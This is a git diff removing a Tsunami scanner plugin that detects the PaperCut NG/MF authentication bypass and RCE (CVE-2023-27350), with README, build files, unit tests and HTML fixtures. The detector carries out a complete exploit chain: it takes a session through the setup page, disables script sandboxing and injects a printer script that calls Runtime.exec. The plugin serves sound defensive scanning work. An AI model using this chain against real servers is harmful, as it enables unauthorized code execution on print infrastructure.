community/detectors/papercut_ng_mf_cve_2023_27350/src/main/java/com/google/tsunami/plugins/papercut/PapercutNgMfHelper.java delete mode 100644 community/detectors/papercut_ng_mf_cve_2023_27350/src/main/java/com/google/tsunami/plugins/papercut/PapercutNgMfVulnDetector.java delete mode 100644 community/detectors/papercut_ng_mf_cve_2023_27350/src/main/java/com/google/tsunami/plugins/papercut/PapercutNgMfVulnDetectorBootstrapModule.java delete mode 100644 community/detectors/papercut_ng_mf_cve_2023_27350/src/test/java/com/google/tsunami/plugins/papercut/PapercutNgMfVulnDetectorTest.java delete mode 100644 community/detectors/papercut_ng_mf_cve_2023_27350/src/test/resources/com/google/tsunami/plugins/papercut/nonvulnerable_page.html delete mode 100644 community/detectors/papercut_ng_mf_cve_2023_27350/src/test/resources/com/google/tsunami/plugins/papercut/vulnerable_page.html diff --git a/community/detectors/papercut_ng_mf_cve_2023_27350/README.md b/community/detectors/papercut_ng_mf_cve_2023_27350/README.md deleted file mode 100644 index e3c6689a3..000000000 --- a/community/detectors/papercut_ng_mf_cve_2023_27350/README.md +++ /dev/null @@ -1,63 +0,0 @@ -# Papercut NG/MF Authentication Bypass and RCE Detector - -### CVE - -[CVE-2023-27350](https://github.com/advisories/GHSA-cfg6-7x4x-p3pj) - -### Description of Vulnerability - -Allows remote attackers to bypass authentication on affected installations of -PaperCut NG/MF. Authentication is not required to exploit this vulnerability. -The specific flaw exists within the SetupCompleted class and the issue results -from improper access control An attacker can leverage this vulnerability to -bypass authentication and execute arbitrary code in the context of SYSTEM -(Windows) or Root/Papercut User (Linux). - -Application allows for Remote Code Execution on the webserver. The RCE can be -used to directly execute commands on the remote Papercut Webserver, or a -malicious JAR file can be dropped/executed. - -##### Related Articles: - -https://vulncheck.com/blog/papercut-rce -https://www.bleepingcomputer.com/news/security/new-papercut-rce-exploit-created-that-bypasses-existing-detections/ -https://thehackernews.com/2023/05/researchers-uncover-new-exploit-for.html - -## Build jar file for this plugin - -Using `gradlew`: - -```shell -./gradlew jar -``` - -Tsunami identifiable jar file is located at `build/libs` directory. - --------------------------------------------------------------------------------- - -## Testing - -Images and OCI image sources to test this plugin can be found at: -https://github.com/Isaac-GC/papercut_ng_mf_docker_images - -These images simulate a near realistic production environment and are -prebuilt/preconfigured to let you get started ASAP. They currently consist of -two version types: - Vulnerable - -`ghcr.io/isaac-gc/papercut_ng_mf:19.2.7.62195` - -`ghcr.io/isaac-gc/papercut_ng_mf:20.1.4.57927` - -`ghcr.io/isaac-gc/papercut_ng_mf:21.2.10.62186` - -`ghcr.io/isaac-gc/papercut_ng_mf:22.0.1.62695` - -- Non-vulnerable (patched) - - `ghcr.io/isaac-gc/papercut_ng_mf:20.1.8.66704` - - `ghcr.io/isaac-gc/papercut_ng_mf:21.2.12.66701` - - `ghcr.io/isaac-gc/papercut_ng_mf:22.0.12.66453` - -#### Using the images - -1. Pull down an OCI image for the version you want to use/test. - - i.e. `docker pull ghcr.io/isaac-gc/papercut_ng_mf:22.0.1.62695` -2. Run the container using docker, kubernetes, or another OCI compatible engine - - I.e. using docker: `docker run -it --rm -p 9191:9191 - ghcr.io/isaac-gc/papercut_ng_mf:22.0.1.62695` -3. Thats it diff --git a/community/detectors/papercut_ng_mf_cve_2023_27350/build.gradle b/community/detectors/papercut_ng_mf_cve_2023_27350/build.gradle deleted file mode 100644 index 865f3a4df..000000000 --- a/community/detectors/papercut_ng_mf_cve_2023_27350/build.gradle +++ /dev/null @@ -1,40 +0,0 @@ -plugins { - id 'java-library' -} - -description = 'Tsunami example VulnDetector plugin with payload generator.' -group = 'com.google.tsunami' -version = '0.0.1-SNAPSHOT' - -repositories { - maven { // The google mirror is less flaky than mavenCentral() - url 'https://maven-central.storage-download.googleapis.com/repos/central/data/' - } - mavenCentral() - mavenLocal() -} - - - -def coreRepoBranch = System.getenv("GITBRANCH_TSUNAMI_CORE") ?: "stable" -def tcsRepoBranch = System.getenv("GITBRANCH_TSUNAMI_TCS") ?: "stable" - -dependencies { - implementation("com.google.tsunami:tsunami-common") { - version { branch = "${coreRepoBranch}" } - } - implementation("com.google.tsunami:tsunami-plugin") { - version { branch = "${coreRepoBranch}" } - } - implementation("com.google.tsunami:tsunami-proto") { - version { branch = "${coreRepoBranch}" } - } - implementation 'com.google.code.gson:gson:2.10.1' - - testImplementation "junit:junit:4.13.2" - testImplementation "com.squareup.okhttp3:mockwebserver:3.12.0" - testImplementation "org.mockito:mockito-core:5.18.0" - testImplementation "com.google.truth:truth:1.4.4" - testImplementation "com.google.truth.extensions:truth-java8-extension:1.4.4" - testImplementation "com.google.truth.extensions:truth-proto-extension:1.4.4" -} diff --git a/community/detectors/papercut_ng_mf_cve_2023_27350/settings.gradle b/community/detectors/papercut_ng_mf_cve_2023_27350/settings.gradle deleted file mode 100644 index 133a1307f..000000000 --- a/community/detectors/papercut_ng_mf_cve_2023_27350/settings.gradle +++ /dev/null @@ -1,12 +0,0 @@ -rootProject.name = 'papercut_ng_mr_CVE_2023_27350' - -def coreRepository = System.getenv("GITREPO_TSUNAMI_CORE") ?: "https://github.com/google/tsunami-security-scanner.git" -def tcsRepository = System.getenv("GITREPO_TSUNAMI_TCS") ?: "https://github.com/google/tsunami-security-scanner-callback-server.git" - -sourceControl { - gitRepository("${coreRepository}") { - producesModule("com.google.tsunami:tsunami-common") - producesModule("com.google.tsunami:tsunami-plugin") - producesModule("com.google.tsunami:tsunami-proto") - } -} diff --git a/community/detectors/papercut_ng_mf_cve_2023_27350/src/main/java/com/google/tsunami/plugins/papercut/PapercutNgMfHelper.java b/community/detectors/papercut_ng_mf_cve_2023_27350/src/main/java/com/google/tsunami/plugins/papercut/PapercutNgMfHelper.java deleted file mode 100644 index 57cc9f108..000000000 --- a/community/detectors/papercut_ng_mf_cve_2023_27350/src/main/java/com/google/tsunami/plugins/papercut/PapercutNgMfHelper.java +++ /dev/null @@ -1,148 +0,0 @@ -package com.google.tsunami.plugins.papercut; - -import static com.google.common.base.Preconditions.checkNotNull; - -import com.google.common.flogger.GoogleLogger; -import com.google.errorprone.annotations.CanIgnoreReturnValue; -import com.google.protobuf.ByteString; -import com.google.tsunami.common.data.NetworkServiceUtils; -import com.google.tsunami.common.net.http.HttpClient; -import com.google.tsunami.common.net.http.HttpHeaders; -import com.google.tsunami.common.net.http.HttpRequest; -import com.google.tsunami.common.net.http.HttpResponse; -import com.google.tsunami.proto.NetworkService; -import java.net.URLEncoder; -import java.nio.charset.StandardCharsets; -import java.util.HashMap; -import java.util.Map; -import java.util.regex.Matcher; -import java.util.regex.Pattern; - -/** A helper class for managing jsessionId based web session. */ -public final class PapercutNgMfHelper { - private static final GoogleLogger logger = GoogleLogger.forEnclosingClass(); - - private final NetworkService networkService; - private final HttpClient httpClient; - public String jsessionId = ""; - private String rootUrl = ""; - private String baseAppUrl = ""; - private HttpHeaders headers; - private String previousUrl = ""; - - PapercutNgMfHelper(NetworkService networkService, HttpClient httpClient) { - this.networkService = checkNotNull(networkService); - this.httpClient = checkNotNull(httpClient).modify().setFollowRedirects(false).build(); - this.rootUrl = NetworkServiceUtils.buildWebApplicationRootUrl(networkService); - this.baseAppUrl = this.rootUrl + "app"; - buildHeaders(false); - } - - // this doesn't need to be public, but leaving it as such just-in-case - public void updateJsessionId(HttpResponse response) { - String setCookiesHeader = response.headers().get("Set-Cookie").orElse(""); - if (!setCookiesHeader.isEmpty()) { - Matcher jsessionIdMatcher = - Pattern.compile("JSESSIONID=[a-zA-Z0-9.]+;", Pattern.CASE_INSENSITIVE) - .matcher(setCookiesHeader); - if (jsessionIdMatcher.find()) { - jsessionId = jsessionIdMatcher.group(); - } - } - } - - public void buildHeaders(boolean isPostRequest) { - HttpHeaders.Builder headers = HttpHeaders.builder(); - - // Default headers - headers.addHeader("Origin", this.rootUrl); - headers.addHeader("Accept", "*/*"); - - // Add content-type helper - if (isPostRequest) { - headers.addHeader("Content-Type", "application/x-www-form-urlencoded"); - } - - // The initial request won't have a referer to use, so don't set it - if (!this.previousUrl.isEmpty()) { - headers.addHeader("Referer", this.previousUrl); - } - - // Add or update the JSESSION_ID if a value is present - if (!jsessionId.isEmpty()) { - headers.addHeader("Cookie", jsessionId); - } - - this.headers = headers.build(); - } - - @CanIgnoreReturnValue - public HttpResponse sendGetRequest(String path) { - buildHeaders(false); // Rebuild the headers - HttpRequest request = HttpRequest.get(baseAppUrl + "?" + path).setHeaders(headers).build(); - HttpResponse response = null; - try { - response = httpClient.send(request, this.networkService); - updateJsessionId(response); // Update JSESSION_ID if needed - previousUrl = baseAppUrl + "?" + path; - } catch (Exception err) { - logger.atWarning().withCause(err).log(); - } - return response; - } - - @CanIgnoreReturnValue - public HttpResponse sendPostRequest(String bodyContent) { - buildHeaders(true); // Rebuild the headers - HttpRequest request = - HttpRequest.post(baseAppUrl) - .setHeaders(headers) - .setRequestBody(ByteString.copyFrom(bodyContent, StandardCharsets.UTF_8)) - .build(); - - HttpResponse response = null; - try { - response = httpClient.send(request, networkService); - this.updateJsessionId(response); // Update JSESSION_ID if needed - previousUrl = baseAppUrl; - } catch (Exception err) { - logger.atWarning().withCause(err).log(); - } - return response; - } - - public String buildParameterString(HashMap params) { - StringBuilder result = new StringBuilder(); - boolean first = true; - for (Map.Entry entry : params.entrySet()) { - if (first) { - first = false; - } else { - result.append("&"); - } - result.append(URLEncoder.encode(entry.getKey(), StandardCharsets.UTF_8)); - result.append("="); - result.append(URLEncoder.encode(entry.getValue(), StandardCharsets.UTF_8)); - } - return result.toString(); - } - - public void changeSettingForPayload(String settingName, Boolean enable) { - HashMap settingNav = new HashMap<>(); - settingNav.put("service", "direct/1/ConfigEditor/quickFindForm"); - settingNav.put("sp", "S0"); - settingNav.put("Form0", "$TextField,doQuickFind,clear"); - settingNav.put("$TextField", settingName); - settingNav.put("doQuickFind", "Go"); - - HashMap settingAction = new HashMap<>(); - settingAction.put("service", "direct/1/ConfigEditor/$Form"); - settingAction.put("sp", "S1"); - settingAction.put("Form1", "$TextField$0,$Submit,$Submit$0"); - settingAction.put("$TextField$0", (enable ? "Y" : "N")); - settingAction.put("$Submit", "Update"); - - sendPostRequest(buildParameterString(settingNav)); - sendPostRequest(buildParameterString(settingAction)); - } -} diff --git a/community/detectors/papercut_ng_mf_cve_2023_27350/src/main/java/com/google/tsunami/plugins/papercut/PapercutNgMfVulnDetector.java b/community/detectors/papercut_ng_mf_cve_2023_27350/src/main/java/com/google/tsunami/plugins/papercut/PapercutNgMfVulnDetector.java deleted file mode 100644 index 5ea4645a9..000000000 --- a/community/detectors/papercut_ng_mf_cve_2023_27350/src/main/java/com/google/tsunami/plugins/papercut/PapercutNgMfVulnDetector.java +++ /dev/null @@ -1,234 +0,0 @@ -/* - * Copyright 2022 Google LLC - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -package com.google.tsunami.plugins.papercut; - -import static com.google.common.base.Preconditions.checkNotNull; -import static com.google.common.collect.ImmutableList.toImmutableList; - -import com.google.common.collect.ImmutableList; -import com.google.common.flogger.GoogleLogger; -import com.google.protobuf.util.Timestamps; -import com.google.tsunami.common.data.NetworkServiceUtils; -import com.google.tsunami.common.net.http.HttpClient; -import com.google.tsunami.common.net.http.HttpResponse; -import com.google.tsunami.common.net.http.HttpStatus; -import com.google.tsunami.common.time.UtcClock; -import com.google.tsunami.plugin.PluginType; -import com.google.tsunami.plugin.VulnDetector; -import com.google.tsunami.plugin.annotations.PluginInfo; -import com.google.tsunami.plugin.payload.Payload; -import com.google.tsunami.plugin.payload.PayloadGenerator; -import com.google.tsunami.proto.DetectionReport; -import com.google.tsunami.proto.DetectionReportList; -import com.google.tsunami.proto.DetectionStatus; -import com.google.tsunami.proto.NetworkService; -import com.google.tsunami.proto.PayloadGeneratorConfig; -import com.google.tsunami.proto.Severity; -import com.google.tsunami.proto.TargetInfo; -import com.google.tsunami.proto.Vulnerability; -import com.google.tsunami.proto.VulnerabilityId; -import java.time.Clock; -import java.time.Instant; -import java.util.HashMap; -import java.util.regex.Matcher; -import java.util.regex.Pattern; -import javax.inject.Inject; - -/** A VulnDetector plugin to for CVE-2023-27350. */ -@PluginInfo( - type = PluginType.VULN_DETECTION, - name = "PapercutNgMfVulnDetector", - version = "1.0", - description = "Detects papercut versions that are vulnerable to authentication bypass and RCE.", - author = "Isaac_GC (isaac@nu-that.us)", - bootstrapModule = PapercutNgMfVulnDetectorBootstrapModule.class) -public final class PapercutNgMfVulnDetector implements VulnDetector { - private static final GoogleLogger logger = GoogleLogger.forEnclosingClass(); - - private final Clock utcClock; - private final HttpClient httpClient; - private final PayloadGenerator payloadGenerator; - - @Inject - PapercutNgMfVulnDetector( - @UtcClock Clock utcClock, HttpClient httpClient, PayloadGenerator payloadGenerator) { - this.utcClock = checkNotNull(utcClock); - this.httpClient = checkNotNull(httpClient).modify().setFollowRedirects(false).build(); - this.payloadGenerator = checkNotNull(payloadGenerator); - } - - @Override - public DetectionReportList detect( - TargetInfo targetInfo, ImmutableList matchedServices) { - logger.atInfo().log("CVE-2023-27350 (PaperCut NG/MF) starts detecting."); - - return DetectionReportList.newBuilder() - .addAllDetectionReports( - matchedServices.stream() - .filter(NetworkServiceUtils::isWebService) - .filter(this::isServiceVulnerable) - .map(networkService -> buildDetectionReport(targetInfo, networkService)) - .collect(toImmutableList())) - .build(); - } - - @Override - public ImmutableList getAdvisories() { - return ImmutableList.of( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("TSUNAMI_COMMUNITY") - .setValue("CVE_2023_27350")) - .addRelatedId( - VulnerabilityId.newBuilder().setPublisher("CVE").setValue("CVE-2023-27350")) - .setSeverity(Severity.CRITICAL) - .setTitle("Papercut NG/MF Authentication Bypass and RCE") - .setDescription( - "This vulnerability allows remote attackers to bypass authentication" - + " on affected installations of PaperCut NG/MF." - + " Authentication is not required to exploit this vulnerability." - + " The specific flaw exists within the SetupCompleted class and the" - + " issue results from improper access control." - + " An attacker can leverage this vulnerability to bypass authentication" - + " and execute arbitrary code in the context of SYSTEM (Windows) " - + "or Root/Papercut User (Linux).") - .setRecommendation( - "Update to versions that are at least 20.1.7, 21.2.11, 22.0.9, or any later" - + " version.") - .build()); - } - - private boolean isServiceVulnerable(NetworkService networkService) { - boolean isVulnerable = false; - - PapercutNgMfHelper helper = new PapercutNgMfHelper(networkService, this.httpClient); - - HttpResponse response = helper.sendGetRequest("service=page/SetupCompleted"); - Matcher bodyContentMatcher = - Pattern.compile("Configuration Wizard : Setup Complete") - .matcher(response.bodyString().orElse("")); - - // If all initial checks pass, then lets check the RCE vuln - if (response.status() == HttpStatus.OK - && bodyContentMatcher.find() - && !helper.jsessionId.isEmpty()) { - - // SetupCompleted payload/page - HashMap setupCompletedPage = new HashMap(); - setupCompletedPage.put("service", "direct/1/SetupCompleted/$Form"); - setupCompletedPage.put("sp", "S0"); - setupCompletedPage.put("Form0", "$Hidden,analyticsEnabled,$Submit"); - setupCompletedPage.put("$Hidden", "true"); - setupCompletedPage.put("$Submit", "true"); - - // Post/send above params - helper.sendPostRequest(helper.buildParameterString(setupCompletedPage)); - - // Changing (or attempting to) change the settings required for RCE - helper.changeSettingForPayload("print-and-device.script.enable", true); - helper.changeSettingForPayload("print.script.sandboxed", false); - - helper.sendGetRequest("service=page/PrinterList"); // Get list of printers - helper.sendGetRequest( - "service=direct/1/PrinterList/selectPrinter&sp=l1001"); // Get the first one - helper.sendGetRequest( - "service=direct/1/PrinterDetails/printerOptionsTab.tab&sp=4"); // Open up scripting tab - - // Let's build and send the actual payload - HashMap printerScriptPayload = new HashMap(); - printerScriptPayload.put("service", "direct/1/PrinterDetails/$PrinterDetailsScript.$Form"); - printerScriptPayload.put("sp", "S0"); - printerScriptPayload.put( - "Form0", "printerId,enablePrintScript,scriptBody,$Submit,$Submit$0,$Submit$1"); - printerScriptPayload.put("printerId", "l1001"); - printerScriptPayload.put("enablePrintScript", "on"); - - // Build the payload string to inject - Payload payload; - if (payloadGenerator.isCallbackServerEnabled()) { - PayloadGeneratorConfig config = - PayloadGeneratorConfig.newBuilder() - .setVulnerabilityType(PayloadGeneratorConfig.VulnerabilityType.BLIND_RCE) - .setInterpretationEnvironment( - PayloadGeneratorConfig.InterpretationEnvironment.LINUX_SHELL) - .setExecutionEnvironment( - PayloadGeneratorConfig.ExecutionEnvironment.EXEC_INTERPRETATION_ENVIRONMENT) - .build(); - - payload = this.payloadGenerator.generate(config); - - printerScriptPayload.put( - "scriptBody", - "function printJobHook(inputs, actions) {}\r\n" - + "java.lang.Runtime.getRuntime().exec('" - + payload.getPayload() - + "');"); - printerScriptPayload.put("$Submit$1", "Apply"); - - // Sending payload - helper.sendPostRequest(helper.buildParameterString(printerScriptPayload)); - try { - Thread.sleep(1000); - } catch (InterruptedException err) { - logger.atWarning().withCause(err).log(); - } - - // Check payload - isVulnerable = payload.checkIfExecuted(); - - } else { // If the callback server is not enabled, try to verify the payload through some - // limited checks. - printerScriptPayload.put( - "scriptBody", - "function printJobHook(inputs, actions) {}\r\n" - + "java.lang.Runtime.getRuntime().exec('hostname');"); // If we can even do this, - // that's all we really can do - printerScriptPayload.put("$Submit$1", "Apply"); - - // Sending payload - HttpResponse payloadResponse = - helper.sendPostRequest(helper.buildParameterString(printerScriptPayload)); - - Matcher matchResponseResult = - Pattern.compile("Saved successfully") // Check for this message in the response - .matcher(payloadResponse.bodyString().orElse("")); - - // If the resulting string in response matched, then the script got submitted and an RCE is - // possible - isVulnerable = matchResponseResult.find(); - } - - // Changing (or attempting to) change the settings required for RCE - helper.changeSettingForPayload("print-and-device.script.enable", false); - helper.changeSettingForPayload("print.script.sandboxed", true); - - return isVulnerable; - } - return false; // Do this as default - } - - private DetectionReport buildDetectionReport( - TargetInfo targetInfo, NetworkService vulnerableNetworkService) { - return DetectionReport.newBuilder() - .setTargetInfo(targetInfo) - .setNetworkService(vulnerableNetworkService) - .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(utcClock).toEpochMilli())) - .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability(this.getAdvisories().get(0)) - .build(); - } -} diff --git a/community/detectors/papercut_ng_mf_cve_2023_27350/src/main/java/com/google/tsunami/plugins/papercut/PapercutNgMfVulnDetectorBootstrapModule.java b/community/detectors/papercut_ng_mf_cve_2023_27350/src/main/java/com/google/tsunami/plugins/papercut/PapercutNgMfVulnDetectorBootstrapModule.java deleted file mode 100644 index 130e66234..000000000 --- a/community/detectors/papercut_ng_mf_cve_2023_27350/src/main/java/com/google/tsunami/plugins/papercut/PapercutNgMfVulnDetectorBootstrapModule.java +++ /dev/null @@ -1,27 +0,0 @@ -/* - * Copyright 2022 Google LLC - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -package com.google.tsunami.plugins.papercut; - -import com.google.tsunami.plugin.PluginBootstrapModule; - -/** A Guice module that bootstraps the {@link PapercutNgMfVulnDetector}. */ -public final class PapercutNgMfVulnDetectorBootstrapModule extends PluginBootstrapModule { - - @Override - protected void configurePlugin() { - registerPlugin(PapercutNgMfVulnDetector.class); - } -} diff --git a/community/detectors/papercut_ng_mf_cve_2023_27350/src/test/java/com/google/tsunami/plugins/papercut/PapercutNgMfVulnDetectorTest.java b/community/detectors/papercut_ng_mf_cve_2023_27350/src/test/java/com/google/tsunami/plugins/papercut/PapercutNgMfVulnDetectorTest.java deleted file mode 100644 index 0b10fa176..000000000 --- a/community/detectors/papercut_ng_mf_cve_2023_27350/src/test/java/com/google/tsunami/plugins/papercut/PapercutNgMfVulnDetectorTest.java +++ /dev/null @@ -1,186 +0,0 @@ -/* - * Copyright 2020 Google LLC - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -package com.google.tsunami.plugins.papercut; - -import static com.google.common.truth.extensions.proto.ProtoTruth.assertThat; -import static com.google.tsunami.common.data.NetworkEndpointUtils.forHostnameAndPort; -import static java.nio.charset.StandardCharsets.UTF_8; - -import com.google.common.collect.ImmutableList; -import com.google.common.io.Resources; -import com.google.inject.Guice; -import com.google.protobuf.util.Timestamps; -import com.google.tsunami.common.net.http.HttpClientModule; -import com.google.tsunami.common.time.testing.FakeUtcClock; -import com.google.tsunami.common.time.testing.FakeUtcClockModule; -import com.google.tsunami.plugin.payload.testing.FakePayloadGeneratorModule; -import com.google.tsunami.plugin.payload.testing.PayloadTestHelper; -import com.google.tsunami.proto.DetectionReport; -import com.google.tsunami.proto.DetectionReportList; -import com.google.tsunami.proto.DetectionStatus; -import com.google.tsunami.proto.NetworkService; -import com.google.tsunami.proto.Software; -import com.google.tsunami.proto.TargetInfo; -import com.google.tsunami.proto.TransportProtocol; -import java.io.IOException; -import java.security.SecureRandom; -import java.time.Instant; -import java.util.Arrays; -import javax.inject.Inject; -import okhttp3.Headers; -import okhttp3.mockwebserver.MockResponse; -import okhttp3.mockwebserver.MockWebServer; -import org.junit.After; -import org.junit.Before; -import org.junit.Test; -import org.junit.runner.RunWith; -import org.junit.runners.JUnit4; - -/** Unit tests for {@link PapercutNgMfVulnDetector}. */ -@RunWith(JUnit4.class) -public final class PapercutNgMfVulnDetectorTest { - - private final FakeUtcClock fakeUtcClock = - FakeUtcClock.create().setNow(Instant.parse("2020-01-01T00:00:00.00Z")); - private final SecureRandom testSecureRandom = - new SecureRandom() { - @Override - public void nextBytes(byte[] bytes) { - Arrays.fill(bytes, (byte) 0xFF); - } - }; - private final MockWebServer mockWebServer = new MockWebServer(); - private final MockWebServer mockCallbackServer = new MockWebServer(); - private NetworkService papercutService; - @Inject private PapercutNgMfVulnDetector detector; - private DetectionReport detectorReport; - private TargetInfo targetInfo; - - // Helper function load additional resources used in the tests - private static String loadResource(String file) throws IOException { - return Resources.toString( - Resources.getResource(PapercutNgMfVulnDetectorTest.class, file), UTF_8) - .strip(); - } - - @Before - public void setUp() throws IOException { - mockWebServer.start(); - mockCallbackServer.start(); - - Guice.createInjector( - new FakeUtcClockModule(fakeUtcClock), - new HttpClientModule.Builder().build(), - FakePayloadGeneratorModule.builder() - .setCallbackServer(mockCallbackServer) - .setSecureRng(testSecureRandom) - .build(), - new PapercutNgMfVulnDetectorBootstrapModule()) - .injectMembers(this); - - papercutService = - NetworkService.newBuilder() - .setNetworkEndpoint( - forHostnameAndPort(mockWebServer.getHostName(), mockWebServer.getPort())) - .setTransportProtocol(TransportProtocol.TCP) - .setSoftware(Software.newBuilder().setName("Papercut MF")) - .setServiceName("http") - .build(); - - targetInfo = - TargetInfo.newBuilder().addNetworkEndpoints(papercutService.getNetworkEndpoint()).build(); - - detectorReport = - DetectionReport.newBuilder() - .setTargetInfo(targetInfo) - .setNetworkService(papercutService) - .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(fakeUtcClock).toEpochMilli())) - .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability(detector.getAdvisories().get(0)) - .build(); - } - - @After - public void tearDown() throws Exception { - mockWebServer.shutdown(); - mockCallbackServer.shutdown(); - } - - @Test - public void detect_whenVulnerable_returnsVulnerability() throws IOException { - Headers.Builder headerBuilder = new Headers.Builder(); - Headers jsessionHeader = headerBuilder.set("Set-Cookie", "JSESSIONID=abcde12345;").build(); - - mockWebServer.url("/app"); - - mockWebServer.enqueue( - new MockResponse() - .setResponseCode(200) - .setHeaders(jsessionHeader) - .setBody(loadResource("vulnerable_page.html"))); - - // Pass the "SetupCompleted" page and "log in" - mockWebServer.enqueue(new MockResponse().setResponseCode(200)); - - // Change settings necessary for RCE - mockWebServer.enqueue(new MockResponse().setResponseCode(200)); - mockWebServer.enqueue(new MockResponse().setResponseCode(200)); - mockWebServer.enqueue(new MockResponse().setResponseCode(200)); - mockWebServer.enqueue(new MockResponse().setResponseCode(200)); - - // Prepare for RCE delivery (navigate to the required page) - mockWebServer.enqueue(new MockResponse().setResponseCode(200)); - mockWebServer.enqueue(new MockResponse().setResponseCode(200)); - mockWebServer.enqueue(new MockResponse().setResponseCode(200)); - - // Deliver the RCE - mockWebServer.enqueue(new MockResponse().setResponseCode(200)); - mockCallbackServer.enqueue(PayloadTestHelper.generateMockSuccessfulCallbackResponse()); - - // Revert settings previously changed - mockWebServer.enqueue(new MockResponse().setResponseCode(200)); - mockWebServer.enqueue(new MockResponse().setResponseCode(200)); - mockWebServer.enqueue(new MockResponse().setResponseCode(200)); - mockWebServer.enqueue(new MockResponse().setResponseCode(200)); - - DetectionReportList detectionReportList = - detector.detect(targetInfo, ImmutableList.of(papercutService)); - - assertThat(detectionReportList.getDetectionReportsList()).containsExactly(detectorReport); - } - - @Test - public void detect_whenNotVulnerable_returnsNoFinding() throws IOException { - - // Set up the mock webserver - // - Redirects to a login page - mockWebServer.enqueue(new MockResponse().setResponseCode(302)); - mockWebServer.url("/app"); - - // Load the login page - mockWebServer.enqueue( - new MockResponse().setResponseCode(200).setBody(loadResource("nonvulnerable_page.html"))); - mockWebServer.url("/app"); - - mockWebServer.enqueue(new MockResponse().setResponseCode(401)); - - assertThat( - detector - .detect(targetInfo, ImmutableList.of(papercutService)) - .getDetectionReportsList()) - .isEmpty(); - } -} diff --git a/community/detectors/papercut_ng_mf_cve_2023_27350/src/test/resources/com/google/tsunami/plugins/papercut/nonvulnerable_page.html b/community/detectors/papercut_ng_mf_cve_2023_27350/src/test/resources/com/google/tsunami/plugins/papercut/nonvulnerable_page.html deleted file mode 100644 index 9bfbcda5e..000000000 --- a/community/detectors/papercut_ng_mf_cve_2023_27350/src/test/resources/com/google/tsunami/plugins/papercut/nonvulnerable_page.html +++ /dev/null @@ -1,563 +0,0 @@ - - - - - - - - PaperCut MF : Dashboard : Dashboard - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
-
- - - - - - - - - - - - - - - - - - - - - -
- Location - - - Dashboard - - - - Dashboard
-
-

- - -Dashboard -

-
-
-
-
For control of Multi-Function Devices check out PaperCut MF
- More Information
-
-
- -
- - - - - - - - -
- -
- - -
- - - - - - - - - - - - - - - -
-
-
-
-
-
- What's Next? -
-
-
- -
- -
-
-
-
-
- - - - - - - - - - - - - - - - -
System Status
- - -
 
-
-
-
- -
-
- - - - - - - - - - - - - - - - -
Environmental Impact
-
    -
  • - -
  • -
  • -  of CO2
  • -
  • -  running a 60W bulb
  • -
  • - Since  -
  • -
-
-
-
- -
- - - - - - - - - - - - - - - - -
News
-
-
-
-
- -
-
- - - - - - - - - - - - - - - - -
Pages Printed (per day, last 30 days)
-
-
-
-
-
-
- -
-
- - - - - - - - - - - - - - - - -
Printer Status
-
- -
-
-
-
-
- -
-
- - - - - - - - - - - - - - - - -
Real-time Activity
-
- - - - - -
  
-
-
- Expand | - Pause - -
-
-
-
- -
- -
-
-
-
-
-
- - - - - - diff --git a/community/detectors/papercut_ng_mf_cve_2023_27350/src/test/resources/com/google/tsunami/plugins/papercut/vulnerable_page.html b/community/detectors/papercut_ng_mf_cve_2023_27350/src/test/resources/com/google/tsunami/plugins/papercut/vulnerable_page.html deleted file mode 100644 index 39af0f554..000000000 --- a/community/detectors/papercut_ng_mf_cve_2023_27350/src/test/resources/com/google/tsunami/plugins/papercut/vulnerable_page.html +++ /dev/null @@ -1,124 +0,0 @@ - - - - - - - - Configuration Wizard : Setup Complete - - - - - - - - - - - - - - - - - - - - - -
- - - -
- -
-
    -
  1. - Create Account
  2. -
  3. - Choose Organization Type
  4. -
  5. - Set Default Costs
  6. -
  7. - Sync Users
  8. -
  9. - Confirm Setup
  10. -
-
-
-

- - The setup process is complete. -

- -

- - The system has started synchronizing all user accounts. The initial import may take few minutes on larger systems. You should see the status of this task in a popup window. If you can't see this window, please ensure your browser is set to allow popups from this server. -

- -

- The printers on this server will be added to the system within the next minute.

-
- - - - - -
- -
-
-
-
-
-
- - - - - - - - - - - - - - -
-
-
-
- - -
- PaperCut MF - - 20.1.4 - (Build 57927 - 2021-08-26) -
- Print Management Software
-
- - PaperCut MF trial license, 39 days remaining.
- -
-
- -
